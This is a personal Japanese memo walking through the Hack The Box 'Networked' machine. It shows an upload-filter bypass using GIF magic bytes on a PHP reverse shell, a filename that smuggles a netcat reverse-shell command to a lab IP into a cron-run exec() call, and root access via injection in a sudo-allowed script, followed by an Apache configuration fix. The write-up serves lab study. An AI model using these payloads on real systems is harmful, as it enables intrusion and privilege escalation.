HTBのNetworked端末の自分用メモです。
ippsecの動画をほとんど参考にしましたが、大変参考になりました。
https://www.youtube.com/watch?v=H3t3G70bakM
init shell
dirbusterからupload.phpを発見
bakupからupload.phpを読んでアップロード可能なファイルの形式を読み取る
キーワード:magic bytes => ファイルの頭のバイト列からファイルの形式を判定する
参照例:
https://blog.netspi.com/magic-bytes-identifying-common-file-formats-at-a-glance/
今回の場合、upload.phpが「ファイル名の拡張子」と「ファイルのmagic bytes」を確認していた。
なので
・revere phpシェルファイルの頭文字に「GIF87a.」を入れる
・met_rev_4444.php.gifとしてファイルを保存
みたいにすればアップロード成功、init shell取得
gulyへの権限昇格
gulyディレクトリのcheck_attack.phpに以下の文字列がある
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
$valueにファイル名が入るので、OSコマンドを含む文字列をファイル名としてつければOSコマンドの実行が可能になる。
bash-4.2$ pwd pwd /etc/httpd bash-4.2$ cd /var/www/html/uploads cd /var/www/html/uploads bash-4.2$ pwd pwd /var/www/html/uploads bash-4.2$ touch -- '; nc -c bash 10.10.14.22 4445;.php' touch -- '; nc -c bash 10.10.14.22 4445;.php' bash-4.2$ ls -l '; nc -c bash 10.10.14.22 4445;.php' ls -l '; nc -c bash 10.10.14.22 4445;.php' -rw-r--r-- 1 apache apache 5 Jun 28 14:38 ; nc -c bash 10.10.14.22 4445;.php bash-4.2$
あとはcronが実行されればgluyへの昇格が成功する。
rootへの権限昇格
sudo -l から/usr/local/sbin/changename.shの実行が可能とわかる。
/etc/sysconfig/network-scripts/ifcfg-gulyへインターフェイス情報が書き込まれるスクリプトだとわかる。
このスクリプト内では echo $x whoamiのようにスペースを空けて次のコマンドを挿入すれば、挿入したコマンドも実行できるというものらしい。
参照元:
https://seclists.org/fulldisclosure/2019/Apr/24
以下のように入れれば、rootを取得できることが可能。
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh sudo /usr/local/sbin/changename.sh interface NAME: aaa interface PROXY_METHOD: bbb interface BROWSER_ONLY: ccc bash interface BOOTPROTO: TCP [root@networked network-scripts]#
補足:.php.gifがphpとして実行可能なのが危険
httpdconf内のphp.confの設定として、ファイル名に「.php」が含まれている場合は全て実行が可能になるというものなっているため。
これは設定としては不適切なため、末尾に.phpがある場合のみ実行できるように以下のように設定を修正する必要がある。
【修正前】
AddHandler php5-script .php AddType text/html .php DirectoryIndex index.php php_value session.save_handler "files" php_value session.save_path "/var/lib/php/session"
【修正後】
<FilesMatch ".php$"> AddHandler php5-script .php AddType text/html .php </FilesMatch> DirectoryIndex index.php php_value session.save_handler "files" php_value session.save_path "/var/lib/php/session"